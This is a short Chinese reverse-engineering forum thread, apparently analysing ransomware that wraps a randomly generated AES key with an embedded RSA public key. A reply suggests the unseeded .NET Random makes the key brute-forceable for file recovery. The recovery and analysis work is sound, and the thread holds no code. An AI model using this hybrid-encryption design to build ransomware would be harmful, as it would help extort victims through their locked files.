程序在启动之后首先随机生成字符串作为之后加密使用的key,利用内置的RSA公钥加密,程序破解的主要难度就在此处,由于我们无法得知程序设计者的RSA私钥,在程序从内存中移除之后,我们无法得知随机生成的AES密钥,无法恢复文件



[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 2
支持
分享
最新回复 (2)
雪    币: 348
活跃值: (4296)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
Random random = new Random(); 没记错的话这个随机数如果不填seed会取当前开机后经过的时间作为seed,而且seed是uint32也就相当于密码一共就20多亿种可以爆破出来
2024-7-31 01:28
0
雪    币: 378
活跃值: (1281)
能力值: ( LV6,RANK:98 )
在线值:
发帖
回帖
粉丝
3
%%%,支持
2024-10-23 16:14
0
游客
登录 | 注册 方可回帖
返回
//